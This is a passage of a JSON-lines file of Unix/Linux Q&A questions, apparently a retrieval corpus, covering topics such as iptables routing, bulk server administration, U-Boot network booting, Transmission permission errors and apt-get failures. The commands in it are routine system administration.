still, I'm able to access the net. I've also added the openvpn data in the network manager tab, but it's shown as never used. PS: When I try to stop and start the NetworkManager service, an error message pops up telling me that there's not such a service, but apt-get tells me I've already installed it..."} {"_id": "21093", "title": "Output traffic on different interfaces based on destination port", "text": "My question is basically the same as Only allow certain outbound traffic on certain interfaces. I have two interfaces `eth1` (10.0.0.2) and `wlan0` (192.168.0.2). My default route is for `eth1`. Let's say I want all https-traffic to go through `wlan0`. Now if I use the solution suggested in the other question, https traffic will go through `wlan0`, but will still have the source-address of `eth1` (10.0.0.2). Since this address is not routeable for the `wlan0` gateway, answers won't ever come back. The easy way would be to just set the bind-addr properly in the application, but in this case it is not applicable. I figure I need to rewrite the src-addr: # first mark it so that iproute can route it through wlan0 iptables -A OUTPUT -t mangle -o eth1 -p tcp --dport 443 -j MARK --set-mark 1 # now rewrite the src-addr iptables -A POSTROUTING -t nat -o wlan0 -p tcp --dport 443 -j SNAT --to 192.168.0.2 Now tcpdump sees the outgoing packets just fine and ingoing packets arrive for 192.168.0.2, however they probably never end up in the application, because all I ever get to see, is that the application is resending the SYN-packet, although the SYN-ACK was already received. So I thought, maybe I need to rewrite the incoming address too: iptables -A PREROUTING -t nat -i wlan0 -p tcp --sport 443 -j DNAT --to 10.0.0.2 but that didn't work either. So I\u2019m kind of stuck here. Any suggestions?"} {"_id": "107980", "title": "Route socks proxy traffic through wireless client", "text": "I have a router with two Internet WANs: DSL (vlan1) and wireless client (eth1). They are both in default route: vlan is the first and eth1 is the second (I am using `ip route add default scope global nexthop via \u2026`). I want to use eth1 Internet from my laptop using socks proxy. I tried to use srelay socks server with `\u2013J eth1` option on the router but it didn\u2019t work (page loads forever) although it works through DSL if I use `\u2013J vlan1`. I also tried to use `ssh` as a socks server and mark packets with iptables to route them to eth1 using ip rule: iptables -t mangle -A OUTPUT -o vlan1 -j MARK --set-mark 1 After this command every program on the router starts using eth1 but I need that only the socks server uses eth1. Is it possible to mark only socks server packets? Now I have to use the second router for this purpose. I run socks server on it and add ip rule for its IP on the first router. I already tried this and it didn\u2019t work. It\u2019s not \"duplicate\" because I need this for proxy server on router. The problem is that I can\u2019t mark packets based on port number because proxy server doesn\u2019t keep this mark while proxyfing."} {"_id": "40401", "title": "Linux Bulk/Remote Administration", "text": "Beside our internal IT infrastructure, we've got around 500 Linux machines hosting our services for the on-line world. They are grouped in a bunch of clusters like Database A-n, Product A-n, NFS, Backoffice and so on. Furthermore, they are administered by an external provider, according to our specifications and requirements. However, we face a lot of trouble during (web-) software development, roll-out and deploy - especially because the dev- and staging-environments have almost nothing in common with the live systems (I spare out the nasty details..). Thus, I've tried to create virtual machines, copied the various live-systems as exactly as possible and prepared them to connect to e.g. the development- databases instead of the \"real\" ones transparently for developers (they aren't `root`). This works pretty well, but... I was wondering how one could administer those systems remotely and _in bulk_? Is there some software family I'm not aware of? Or, at least, some techniques or principles one should be familiar with? We would provide every developer with a bunch of images to be run locally (VirtualBox). The QA dept. would get virtual clusters (XEN or Hyper-V). If I need to provide an additional server-module, re-route a new database connection or just want to update everything provided by the package manager... how could I possibly do that without being forced to log on to every system and/or ask my colleagues to download and run some fixture-script? I believe there are plenty of solutions. Well, somehow I'm too stupid to enter the correct keywords into the search engines... Or isn't this issue as trivial as it sounds? For the record: * Almost all systems are running Debian GNU/Linux 6.x \"squeeze\" * No developer is forced to use a particular OS at his/her workstation * The budget is limited, of course, but not too small to buy proprietary software * A solution that would involve our aforementioned provider is preferred"} {"_id": "20048", "title": "Managing and applying custom updates to multiple identical machines", "text": "I work at a library where we have just recently setup 5 kiosk's based on linuxmint. The hardware is identical. I actually used DD to make an image after I set the first one up. My Problem is, I now need to apply more updates to these machines. I'm making several updates to things like grub, and other system configuration. As well as a specific users .gconf folder. Apply such updates as removing keybinding's. Updating power the power settings. I have ssh access to all of the boxes. What would be the best way to update these? I first apply the changes to our experimental machine. How would you recommend then pushing these updates out to all the other kiosks? * * * Just discovered http://www.puppetlabs.com/ This looks promising. Any other ideas? Can this be ran as a daemon or will I have to goto each kiosk, login as root, and run puppet? Running scp and rsync to transfer .gconf and other changes has failed for me. I have no root user, obviously because of the way ubuntu runs. So no way to get it to escalate to root for the transfer of modified files. At least that I know of."} {"_id": "92664", "title": "How to deploy programs on multiple machines", "text": "I need to install a few programs on around 40 Kubuntu 13.04 machines, and would like to know what options I have to do it as efficiently as possible. EDIT: I have the repositories already set and the machines are all identical clones, with no LDAP auth or centralized server."} {"_id": "143911", "title": "How to replicate basic configuration tasks?", "text": "_(This might be off-topic and/or not answerable, but I want to ask anyway.)_ Recently, I am managing a lot of VPS server with Linux for my personal and professional projects. However, I am kind of tired by the repetitive tasks. Let's say I have to do the following after installation of a VPS * add some users, add them to sudoers * install the basic needed packages from apt-get * find out that the package X is not in the basic repository, so I add some repositories * do some basic configuration, both as a _root_ and as a user, copy-pasting some stuff from the internet to some files and see what sticks * finally start coding Is there any way to automate the whole process? Basically to \"seal\" the whole configuration, so I can then do all this in somehow more simplier way."} {"_id": "52064", "title": "How do I extract the colours from a PDF?", "text": "I have a PDF and I want to verify the colours being used (check that they match our corporate colour scheme for instance). Specifically, I want to check that the correct CMYK colours are being used. How could I go about doing that?"} {"_id": "106378", "title": "Ubuntu blank screen after login", "text": "I have a laptop running Ubuntu 13.10. It was running fine till yesterday when I installed OpenCV 2.4 using Synaptic (if that is of any relevance since there is no other change in configuration). This morning, I powered it on and it comes to the screen asking for login, even showing my background correctly. However, after I login, the screen goes blank. I can see the mouse cursor and it moves when I use the trackpad, but I am unable to do anything else. I am not able to start terminal window or anything else because I do not have any icon. From the login screen, I tried to change to Gnome (instead of Ubuntu default) but still, had no luck. Can someone please help? There should be a command to go into non-GUI mode but I cannot recall that either. The output from `lspci | grep VGA` is 00:02.0 VGA compatible controller: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller (primart) (rev 0c) Looks like it is unable to load `Plugin opengl` which must be because of my install of OpenCV. `apt-cache policy nvidia` nvidia: Installed: (none) Candidate: (none) Version table: `apt-cache policy fglrx` fglrx: Installed: (none) Candidate: 2:13.101-0ubuntu3 Version table: 2:13.101-0ubuntu3 0 500 http://us.archive.ubuntu.com/ubuntu/ saucy/restricted amd64 Packages If it is of any help, I typed the command `glxinfo` and got the error: Xlib: extension \"GLX\" missing on display \":0\". Error: couldn't find RGB GLX visual or fbconfig"} {"_id": "116659", "title": "How to prepare a headless machine?", "text": "I'm currently preparing an SD-card for my Raspberry Pi, i.e. an ARM machine, while I'm sitting on a x86 one. Therefore I cannot simply `chroot` into it and run `rc-update add sshd default`. So, how else can I set this up without having to connect the device itself?"} {"_id": "138917", "title": "What does the Bind bindkeys-file directive do?", "text": "Just trying to understand the `bindkeys-file` directive related to the DNSSEC extension in the Bind configuration. Is that a public key? Does it sign the response in the same way as digital signatures?"} {"_id": "45581", "title": "Displaying just an image instead of text", "text": "Is it possible to compile the linux kernel so that when it is booting up, instead of the boot up text to display and image and ONLY an image (like osx)?"} {"_id": "52062", "title": "How to find all images containing any text?", "text": "I got a lot of images, and I need to find, which of them contain any text in English (to delete them). Is it possible to do it automatically?"} {"_id": "52063", "title": "How to write an abort-on-error script without adding `|| exit $?` to every line?", "text": "I'm writing a bash script that should exit the error code of the last failed command and not continue execution. This can be achieved by adding a `|| exit $?` everywhere, but is there an easier way, e.g. a `set` option at the start to do this without uglifying every line?"} {"_id": "60118", "title": "Find files with specific extension with help of recoll", "text": "How to make recoll program to show files with specific extension (for example, *.cpp, *.txt, etc)?"} {"_id": "102869", "title": "Postfix Masquarade Name *and* Email address", "text": "At the moment, I have a RHEL6 monitoring server that sends out emails with postfix. Originally it was sending them out as `user@host.localhost`. I've used the mapping file `/etc/postfix/generic` to get the emails sent out now as `monitoringuser@domain.com`, however when the email client receives the email, there is no longer a name attached to the email address. Originally, with the default configuration, emails would come in with the sender as this - `user ` Now when I recevied the emails, they come in with just the email address - `monitoringuser@domain.com` - there is no longer a name displayed. I've googled and looked at docs but can't seem to figure out the way to do this. Is there a way for postfix to fix that or append the name that I want ? Or is it up to the script calling `mail` to append a name to the sender ?"} {"_id": "64263", "title": "Unable to change resolution on Fedora 18 after playing Urban Terror", "text": "So I wanted to try out Urban Terror on Fedora 18. I installed it. When I click it, the screen resolution would change to a lower resolution(800x600) to play the game in full screen. Then after I've exit the game the resolution would remain the same. I tried changing the resolution in the 'Displays' application to 1440x900, the screen would go blank forever and I would have to restart the PC. After restart the resolution would return to normal. So after a few tries trying to replicate the issue, the screen went blank but after restart it never returned 1440x900. Now I'm stuck on the low 800x600. It does work on 1440x900 until login screen but after I login it goes to 800x600 that Urban Terror had set. Something seems to be broken after the login screen. Forcing the resolution to 1440x900 in the /etc/gmd/Init/Defaults still doesn't change anything."} {"_id": "88392", "title": "Is there an easy way to \"restart\" a tmux pane?", "text": "Assume I have a `tmux` (1.7) window split as follows: ________________________ | 1 | | | |-----------+------------| | 2 | 3 | |___________|____________| Now, the vertical sizes have been customized, so it's by no means one of the default layouts. On occasion, when a program gets stuck or when you reboot a machine to which you connected via `ssh`, the pane \"hangs\". I.e. nothing other than `kill-pane` appears to work. However, since there is no easy way to rebuild above split configuration once pane #1 has been `kill-pane`d, I'd like to \"restart\" it."} {"_id": "60115", "title": "Booting over the LAN using uboot", "text": "I am trying to boot my beaglebone over the LAN. I am able to download the Kernel uImage from the TFTP server. Here is what I did - U-Boot SPL 2011.09-00053-gb423c52 (Aug 10 2012 - 11:26:55) Texas Instruments Revision detection unimplemented No daughter card present OMAP SD/MMC: 0 reading u-boot.img reading u-boot.img U-Boot 2011.09-00053-gb423c52 (Aug 10 2012 - 11:26:55) I2C: ready DRAM: 256 MiB WARNING: Caches not enabled No daughter card present NAND: HW ECC Hamming Code selected No NAND device found!!! 0 MiB MMC: OMAP SD/MMC: 0, OMAP SD/MMC: 1 *** Warning - readenv() failed, using default environment Net: cpsw Hit any key to stop autoboot: 0 U-Boot# dhcp link up on port 0, speed 100, full duplex BOOTP broadcast 1 BOOTP broadcast 2 DHCP client bound to address 192.1.1.101 Using cpsw device TFTP from server 192.1.1.254; our IP address is 192.1.1.101 Filename 'uImage-BBone'. Load address: 0x82000000 Loading: ################################################################# ################################################################# ################################################################# ################################ done Bytes transferred = 3319832 (32a818 hex) U-Boot# bootm ## Booting kernel from Legacy Image at 82000000 ... Image Name: Angstrom/3.2.28/beaglebone Image Type: ARM Linux Kernel Image (uncompressed) Data Size: 3319768 Bytes = 3.2 MiB Load Address: 80008000 Entry Point: 80008000 Verifying Checksum ... OK Loading Kernel Image ... OK OK Starting kernel ... Uncompressing Linux... done, booting the kernel. 1. I did not specify the load address of 0x82000000. Uboot seem to have chosen this all by itself. Does it matter where the uImage is downloaded to? 2. Is the second load address that I see on the console after giving the `bootm` command (Load Address: 80008000 & Entry Point: 80008000) a standard address? Does the kernel image have to be located at a specific location in memory? 3. I am stuck after this. There is no ramdisk. How do I load a ramdisk? And how do I tell the kernel to look for it at a specific memory location? The image I am using was downloaded from here. Do I need to create a new image to be able to use the ramdisk? Can I use a NFS mount at this point of time? When can I mount an NFS partition as the root file system?"} {"_id": "60114", "title": "\u201cError: permission denied\u201d error from Transmission Client", "text": "When I try downloading files with Transmission I get: ![Error: Permission denied](http://i.stack.imgur.com/9nAao.png) I've tried searching for this problem, and everyone always says to set permissions correctly, but I've done that: ![](http://i.stack.imgur.com/OwqnT.png) This is running on a debian headless server and I did have it working until I moved the folders out of my home directory and into one of their own; ever since then I haven't been able to get it up and running, even in my home directory again. I've even purge removed it and installed it again, setting it all up following one of the countless number of guides step for step, and I have gotten nowhere. I'm not sure if `transmission-daemon -f` can help you guys to help me, but I thought what it outputs may be relevant because I saw \"transmission-daemon requiring authentication\": root@fileserver /# transmission-daemon -f [19:09:48.940] Transmission 2.03 (11030) started (session.c:622) [19:09:48.940] RPC Server Adding address to whitelist: 127.0.0.1 (rpc-server.c:767) [19:09:48.940] RPC Server Adding address to whitelist: 192.168.0.* (rpc-server.c:767) [19:09:48.940] RPC Server Serving RPC and Web requests on port 9091 (rpc-server.c:940) [19:09:48.940] RPC Server Whitelist enabled (rpc-server.c:944) [19:09:48.940] RPC Server Password required (rpc-server.c:947) [19:09:48.940] Port Forwarding Stopped (port-forwarding.c:178) [19:09:48.940] DHT Generating new id (tr-dht.c:378) [19:09:48.940] Using settings from \"/root/.config/transmission-daemon\" (daemon.c:443) [19:09:48.940] Saved \"/root/.config/transmission-daemon/settings.json\" (bencode.c:1651) [19:09:48.940] transmission-daemon requiring authentication (daemon.c:461) [19:09:48.940] Watching \"/home/Transmission\" for new .torrent files (daemon.c:473) [19:09:48.940] Using inotify to watch directory \"/home/Transmission\" (watch.c:72)"} {"_id": "60116", "title": "Control-q-? key binding in Awesome WM", "text": "I wish to configure my Awesome Window Manager so that the keyboard shortcuts begin with `ctrl``q`. `ctrl``q`-`x`, `ctrl``q`-`y`, `ctrl``q`-`z`, and so on... I've attempted to modify the `/etc/xdg/awesome/rc.lua` config file, I've looked for answers, and I've reviewed the relevant man pages. I've even attempted to use `xmodmap` to accomplish this. I've managed to change the Mod key to `ctrl`, but I can't get the `awful.key` object to accept an additional modifier key."} {"_id": "134538", "title": "iptables - masqueraded NAT has delayed first hop in traceroute", "text": "I'm just in the process of setting up my Linux (Debian-based) router with a PPPoE connection via an ADSL/PPPoA -> PPPoE bridge. The connection works perfectly on the router itself but a traceroute through the NAT for some reason takes a long time to get the result of the first hop (to the NAT). The majority of the time the result of the hop will just be * * * but sometimes the hop does show up and there's a long delay before it tries the second hop. Here's when it doesn't show the hop at all: CallumsMacBookAir:~ Callum$ traceroute google.co.uk traceroute: Warning: google.co.uk has multiple addresses; using 173.194.41.95 traceroute to google.co.uk (173.194.41.95), 64 hops max, 52 byte packets 1 * * * //LONG DELAY 2 lo0-central10.ptn-ag03.plus.net (195.166.128.192) 22.578 ms 19.925 ms 20.990 ms 3 link-a-central10.ptn-gw01.plus.net (212.159.2.136) 19.574 ms 19.786 ms 19.343 ms 4 xe-5-3-0.ptw-cr01.plus.net (212.159.0.108) 19.540 ms 18.947 ms 25.387 ms 5 72.14.222.97 (72.14.222.97) 19.911 ms 19.706 ms 19.512 ms 6 209.85.246.244 (209.85.246.244) 19.423 ms 19.455 ms 19.655 ms 7 72.14.238.51 (72.14.238.51) 20.234 ms 24.666 ms 20.076 ms 8 lhr08s01-in-f31.1e100.net (173.194.41.95) 19.168 ms 19.518 ms 19.659 ms Sometimes it does respond in the first hop but there's still an asterisk: CallumsMacBookAir:~ Callum$ traceroute google.co.uk traceroute: Warning: google.co.uk has multiple addresses; using 173.194.41.95 traceroute to google.co.uk (173.194.41.95), 64 hops max, 52 byte packets 1 192.168.0.253 (192.168.0.253) 0.770 ms * 0.800 ms //LONG DELAY IN HERE 2 lo0-central10.ptn-ag03.plus.net (195.166.128.192) 20.301 ms 22.958 ms 32.719 ms 3 link-a-central10.ptn-gw01.plus.net (212.159.2.136) 19.142 ms 19.417 ms 18.527 ms 4 xe-5-3-0.ptw-cr01.plus.net (212.159.0.108) 19.047 ms 18.781 ms 18.887 ms 5 72.14.222.97 (72.14.222.97) 19.181 ms 19.424 ms 29.965 ms 6 209.85.246.244 (209.85.246.244) 33.559 ms 19.756 ms 25.363 ms 7 72.14.238.51 (72.14.238.51) 32.010 ms 19.753 ms 19.042 ms 8 lhr08s01-in-f31.1e100.net (173.194.41.95) 19.618 ms 19.730 ms * Is there any way to make the iptables router respond to the traceroute properly? Thanks!"} {"_id": "134539", "title": "GNOME doesn't work on Debian Jessie after installing fglrx", "text": "I'm using 64bit Debian Jessie and followed these instruction to install fglrx for Radeon HD 7000 series: https://wiki.debian.org/ATIProprietary However GNOME doesn't work after it. I installed different desktop environments and it worked. With GNOME, GDM doesn't start, and launching GNOME with `startx` crashes. What is the problem?"} {"_id": "19430", "title": "How do I remove \"permission denied\" printout statements from the find program?", "text": "find: `/root/.dbus': Permission denied find: `/root/.gconf': Permission denied find: `/root/.gconfd': Permission denied find: `/root/.gnome': Permission denied find: `/root/.gnome2': Permission denied find: `/root/.gnome2_private': Permission denied E.g. output like this when I run the \"find / -name netcdf\" command"} {"_id": "42841", "title": "How to skip \"permission denied\" errors when running find in Linux?", "text": "> **Possible Duplicate:** > How do I remove \"permission denied\" printout statements from the find > program? When I run this command in Linux (SuSE): find / -name ant I get many error messages of the form: find: `/etc/cups/ssl': Permission denied Does `find` take an argument to skip showing these errors and only try files that I have permission to access?"} {"_id": "82517", "title": "Catch all emails and save them in MySQL", "text": "I want to do something like Facebook has with it message system. When you reply to email sent from Facebook User, it automatically gets in his message box. This is done, because you reply to {longidofmsg}@facebook.com, according to {longidofmsg} FB find route to user and it's message box. **Can you suggest simple out of the box solution: Which will catch all emails, checks if they have correct {longidofmsg} and saves them to mysql?** I've found something like this: https://github.com/deitch/smtp-tester/ , but it needs a lot of hacking"} {"_id": "24848", "title": "gcc: -pthread: No such file or directory", "text": "Trying to compile following code in **_terminal_** i got `gcc: -pthread: No such file or directory`, what does this error means and how to eliminate it? **file name:** _window.c_ **code:** #include int main(int argc, char *argv[]) { GtkWidget *window; gtk_init(&argc, &argv); window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_widget_show(window); gtk_main(); return 0; } I tried to compile it with following parameters:- gcc -Wall -g window.c -o window `pkg-config --cflags gtk+-2.0` `pkg-config --libs gtk+-2.0`"} {"_id": "24846", "title": "Provide parameters to scp with xargs", "text": "When I run `svn st | awk '{print $2}'`, I get: a.py b.py c.py Then I want to `scp` these files to a remote server. I have tried: svn st | awk '{print $2}' | xargs scp my_name@my_server:~/ But it doesn't work. What is the right command to do this? Thank you!"} {"_id": "82518", "title": "Display Server vs. Window Manager vs. Graphics Driver?", "text": "I am trying to sort my understanding of the different part of graphics on Linux, and I am confused as to the roles played by each of the following concepts. * Display Server * Window Manager * Graphics Driver My questions: * Are graphics drivers implemented inside the Linux Kernel or outside? If outside the kernel why are they excluded when network, disk, file system are all inside the kernel? * X Windows, Gnome, Ubuntu Unity, KDE, Mir, Wayland who does what in terms of Display Server, Window Manager, and Graphics Driver? My goal for this question is to understand which projects are contributing what parts of the Linux Graphics experience? **UPDATE** http://blog.mecheye.net/2012/06/the-linux-graphics-stack/ has a lot of the details that I was looking for."} {"_id": "24841", "title": "Globbing with brackets and variables in zsh", "text": "I wrote the following snippet to delete several subdirectories selectively from a common ancestor. It doesn't work, but I can't tell why. for x in *; do rm -r \"$x/foo/bar/{a*,b,c,d,g*}\"; done I get \"no such file or directory\" errors when I run it, even though I know that the folders exist."} {"_id": "24840", "title": "CentOS 6 installs libmysqlclient.so.16 and friends without me asking", "text": "Whilst trying to resolve a dependency issue with MySQL's `libmysqlclient` libraries on one of my CentOS 6 MySQL servers I was surprised to discover the following libraries installed in `/usr/lib/mysql`: libmysqlclient_r.so -> libmysqlclient_r.so.16.0.0 libmysqlclient_r.so.16 -> libmysqlclient_r.so.16.0.0 libmysqlclient_r.so.16.0.0 libmysqlclient.so -> libmysqlclient.so.16.0.0 libmysqlclient.so.16 -> libmysqlclient.so.16.0.0 libmysqlclient.so.16.0.0 The reason I was surprised was because this server has only ever had MySQL 5.5 installed which was built from source. Building MySQL 5.5 produces a set of `libmysqlclient.so.18` libraries, not `libmysqlclient.so.16`. I then built a brand new CentOS 6 (i386) server from scratch and installed _only_ the Base package group and nothing else (i.e. no HTTP server, no MySQL, no Gnome etc). Having scanned the packages in this group there was nothing that jumped out at me as having a dependency on `libmysqlclient`. However when the install completed, there sitting in the `/usr/lib` directory was a `mysql` folder containing the above `libmysqlclient.so.16` libraries. I then built a CentOS 5.5 (i386) server using only the Base packages as I did with CentOS 6 and these MySQL libraries do not get installed. This appears to be a new thing, is there any reason why a Base package install of CentOS 6 requires `libmysqlclient` to be installed?"} {"_id": "2464", "title": "timestamp, modification time, and created time of a file", "text": "I just know that `ls -t` and `ls -f` give different sorting of files and subdirectories under a directory. * What are the differences between timestamp, modification time, and created time of a file? * How to get and change these kinds of information by commands? * In terms of what kind of information do people say a file is \"newer\" than the other? * What kinds of information's change will not make the file different? For example, I saw someone wrote: > By default, the rsync program only looks to see if the files are different > in size and timestamp. It doesn't care which file is newer, if it is > different, it gets overwritten. You can pass the '--update' flag to rsync > which will cause it to skip files on the destination if they are newer than > the file on the source, but only so long as they are the same type of file. > What this means is that if, for example, the source file is a regular file > and the destination is a symlink, the destination file will be overwritten, > regardless of timestamp. On a side note, does the file type here mean only regular file and simlink, not the type such as pdf, jpg, htm, txt etc?"} {"_id": "2466", "title": "Is it possible to put root in LVM without using initrd?", "text": "I have just set up a Gentoo base system (which means I can boot and log in and do stuff with it now). My root partition is in an LVM2 virtual group (with a separated `/boot` partition). In order to boot I need to pass the parameters below to the kernel: root=/dev/ram0 real_root=/dev/vg/rootlv init=/linuxrc dolvm Apparently it is using an initial ramdisk to do something (I guess loading the LVM things) before mounting root. Is there a way that I can put this code into the kernel itself so that no initrd is needed? If not, how can I make the initrd myself? It might be useful to add that I had tried compiling the kernel for non-LVM root, without initrd and it worked perfectly. Then I tried to put the whole thing under LVM and couldn't get the machine to boot (I guess it cannot deal with the LVM stuff). Then I used the `genkernel` tool with the `\\--lvm` option and it creates the working kernel and initrd that I am currently using. Now I want to skip `genkernel` and do everything on my own, preferably without initrd so that the machine will boot somewhat faster (I don't need the flexibility anyway)."} {"_id": "2467", "title": "archive files and directories before transfer", "text": "I was wondering what is the advantage of making all the files and directories into an archive file for transfer, such as by `cpio`, instead of transferring them directly, such as by `cp`, `scp`?"} {"_id": "134837", "title": "Separate /boot partition on USB", "text": "During standard Debian install i decided to go with implementing additional security factor which is /boot on separate USB key. In Debian guide I've found it is only put this way. http://madduck.net/docs/cryptdisk/ > if you don't like the unencrypted /boot partition, you could boot the system > off a USB key, which you can keep separate from the system except for when > booting and upgrading the kernel. All you need to do for that is install the > bootloader and kernel onto the device and configure it to use the proper > encryption volume on the harddisk as root filesystem. I know how to install GRUB onto USB stick grub-install --root-directory=/mnt /dev/sdb but I don't know hot to copy kernel image from my current installation to USB stick. Everything is done here from live environment. On clean install, I setup partitions manually and then proceed with installation, after my `/root` and `/home` are ready to use and `/boot` is already specified on USB Key I choose to \"Continue Testing\" my live environment from which I install GRUB onto `/boot` partition but how do i put initial ramdisk there? Because this is mandatory for system to boot. Also does this approach doesn't require my to edit my `/etc/fstab` or `/etc/crypttab`?"} {"_id": "134836", "title": "Shell command to remove the first string that is enclosed with slashes", "text": "I need a shell command(sed or awk is preferred) to remove the string that is enclosed within the slashes. For example If my string is `/some/dir/example/` then the output should be `dir/example/`"} {"_id": "48352", "title": "Alternatives to LVM", "text": "I was thinking about alternatives to combine several HDDs together. The only options I know so far are using LVM and/or RAID. The thing is, using LVM, I will most probably lose all data, if one volume in my volume group fail. Using RAID, however, is (for my purposes) a waste of space. So basically I am looking for a way to combine HDDs together, where I can remove and add more later on, but will not lose data from the other combined drive, if one disk fails. I just heard about `mhddfs`. Is that a reliable method to combine disks?"} {"_id": "117306", "title": "Debian listing packages that are recommended by already installed packages", "text": "As the tittle suggests: I'm looking for a way to list every package that is recommended by one of the packages that are already installed on my system. Kinda similarly to how `apt` displays recommended packages when installing something. I'd prefer to have the list as `X package recommends: W,Y,Z packages`."} {"_id": "117307", "title": "Linux Mint - Blackscreen on installation", "text": "Whenever I try to install Linux mint 10, the Start menu (install, install compatibility, reboot) comes on, but when I choose one of them, I get a blackscreen after the kernel is loaded. Why?"} {"_id": "148583", "title": "difference between df -h and dfc", "text": "Why is there a difference in the used size between `dfc` and `df -h`? $ df -h Dateisystem Gr\u00f6\u00dfe Benutzt Verf. Verw% Eingeh\u00e4ngt auf /dev/sda7 64G 51G 11G 83% / none 4,0K 0 4,0K 0% /sys/fs/cgroup udev 3,9G 4,0K 3,9G 1% /dev tmpfs 801M 1,5M 799M 1% /run none 5,0M 0 5,0M 0% /run/lock none 4,0G 148K 4,0G 1% /run/shm ... $ dfc FILESYSTEM (=) USED FREE (-) %USED AVAILABLE TOTAL MOUNTED ON /dev/sda7 [=================---] 83% 10.6G 63.9G / none [--------------------] 0% 4.0K 4.0K /sys/fs/cgroup udev [=-------------------] 0% 3.9G 3.9G /dev tmpfs [=-------------------] 0% 798.7M 800.1M /run none [--------------------] 0% 5.0M 5.0M /run/lock none [=-------------------] 0% 3.9G 3.9G /run/shm ... I wouldnt round 3.9 up to 4 and then display 4,0 that makes no sense to me."} {"_id": "117309", "title": "Prey anti-theft configuration on Debian", "text": "I would like to protect my laptop from thieves. I would configure Prey, but I can't find any tutorial for Debian/Ubuntu users. I tried to go to the control panel on the project, but whenever I try to add a device, the server redirect me to download page. I have no idea how to go ahead. Who can help me? I have installed prey from the repository of Debian Wheezy. I found the configuration file, but I have no ideas on how to configure it."} {"_id": "97224", "title": "Setting time through GPS dongle", "text": "There is this code that claims to set the time of your linux environment, http://blog.petrilopia.net/linux/raspberry-pi-set-time-gps-dongle/ date -s '01/01/2014 00:01' sleep 1 pkill ntpd pkill gpsd gpsd -b -n -D 2 /dev/ttyUSB0 sleep 2 GPSDATE=`gpspipe -w | head -10 | grep TPV | sed -r 's/.*\"time\":\"([^\"]*)\".*/\\1/' | head -1` echo $GPSDATE date -s \"$GPSDATE\" /usr/sbin/ntpd But When I am running this code through puTTy it sets my time to, > Sun Aug 8 06:08:11 PKT 2010 I'd like to know why it is setting my GPS time to 2010 ? while its 2013 ? Here is the Output of `gpspipe -w` command {\"class\":\"TPV\",\"tag\":\"MID2\",\"device\":\"/dev/ttyUSB0\",\"mode\":1,\"time\":\"1990-12-22T23:59:53.020Z\",\"ept\":0.005} {\"class\":\"TPV\",\"tag\":\"MID2\",\"device\":\"/dev/ttyUSB0\",\"mode\":1,\"time\":\"1990-12-22T23:59:54.020Z\",\"ept\":0.005} {\"class\":\"SKY\",\"tag\":\"MID4\",\"device\":\"/dev/ttyUSB0\",\"time\":\"1990-12-22T23:59:55.010Z\"} {\"class\":\"TPV\",\"tag\":\"MID2\",\"device\":\"/dev/ttyUSB0\",\"mode\":1,\"time\":\"1990-12-22T23:59:55.010Z\",\"ept\":0.005} {\"class\":\"TPV\",\"tag\":\"MID2\",\"device\":\"/dev/ttyUSB0\",\"mode\":1,\"time\":\"1990-12-22T23:59:56.020Z\",\"ept\":0.005} {\"class\":\"TPV\",\"tag\":\"MID2\",\"device\":\"/dev/ttyUSB0\",\"mode\":1,\"time\":\"1990-12-22T23:59:57.020Z\",\"ept\":0.005} The output is continuous , which means it is changing every second."} {"_id": "97227", "title": "Linux Mint 15 unable to install on VM VirtualBox", "text": "Appears that something maybe up with my VM set-up as it wouldn't install Fedora either. Problem will be I load up the VM and hit F12 to boot from the CD/DVD which is pointed to the mounted ISO file which will at this attempt is linuxmint-15-cinnamon-dvd-64bit.iso At which point I will see a screen saying Linux Mint Autoboot in 10.. 9.. then as soon as the count down reaches zero I am stuck on this screen. ![Desktop Caption](http://img843.imageshack.us/img843/51/xd93.png) Full Size image: a link! I have 3D Acceleration Enabled and gave 128mb Vid Mem. So unsure what else I could try. I assigned 4096Mb of RAM ... The image shows 2048 but I have since changed that to 4GB. Anything I could try or troubleshoot? Most results online show issues relating to post installation or during installation, yet I cannot begin the installation. - As instructed the ISO is MD5 Verified with a checksum and when using a prepared VDI it still fails to hit the OS. I have the options to select Linux Mint.. Linux Mint +Rec ect. But soon as I choose one it hangs on a black console screen with an underscore."} {"_id": "97221", "title": "What command will generate average lines per minute?", "text": "I'd like to know how many average lines are written to a file per minute. Could someone help me with a command or code to generate this number?"} {"_id": "97220", "title": "How to Replace Path in Search field using VIM", "text": "I'm trying to replace this text in VIM Actual Path /home/omipenguin/Servers\\ Information/systemscript.sh/sysinfo.txt with this new path /home/sysinfo I tried %s/\\/home\\/omipenguin\\/Servers\\ Information\\/systemscript.sh\\/sysinfo.txt//home/sysinfo/g but VIM gives me `Pattern not Found`. Please advise, what is wrong?"} {"_id": "97233", "title": "Fixing a broken packet system (apt-get)", "text": "After I made a system upgrade (apt-get upgrade) on a debian box, I get an error everytime i tries to use apt-get. Example: # apt-get -f install Reading package lists... Done Building dependency tree Reading state information... Done 0 upgraded, 0 newly installed, 0 to remove and 8 not upgraded. 1 not fully installed or removed. After this operation, 0 B of additional disk space will be used. Setting up initscripts (2.88dsf-41+deb7u1) ... insserv: Service killprocs has to be enabled to start service single insserv: exiting now! update-rc.d: error: insserv rejected the script header dpkg: error processing initscripts (--configure): subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing: initscripts E: Sub-process /usr/bin/dpkg returned an error code (1) I have tried to find a solution, but can't find anything that looks like this. First of all I have this packet which is \"not fully installed or removed\". But I can't find the command to locate it. Have tried: dpkg -l | grep rc But it list about 20 packets, so there must be a better way to find this packet. To fix the packet system I have tried normal procedures, like: apt-get clean && sudo apt-get autoremove apt-get -f install dpkg --configure -a The clean command is good, but the install command will fail with as shown above. In a desperate try, I tried to reinstall insserv (not sure it's the packet which is broken), but it fails the same way: # apt-get install --reinstall insserv Reading package lists... Done Building dependency tree Reading state information... Done 0 upgraded, 0 newly installed, 1 reinstalled, 0 to remove and 8 not upgraded. 1 not fully installed or removed. Need to get 63.8 kB of archives. After this operation, 0 B of additional disk space will be used. Get:1 http://ftp.us.debian.org/debian/ wheezy/main insserv armel 1.14.0-5 [63.8 kB] Fetched 63.8 kB in 0s (85.5 kB/s) Setting up initscripts (2.88dsf-41+deb7u1) ... insserv: Service killprocs has to be enabled to start service single insserv: exiting now! update-rc.d: error: insserv rejected the script header dpkg: error processing initscripts (--configure): subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing: initscripts E: Sub-process /usr/bin/dpkg returned an error code (1) Hope some of you can help me fix the issue."} {"_id": "97229", "title": "Periodically sync local folders using rsync (no 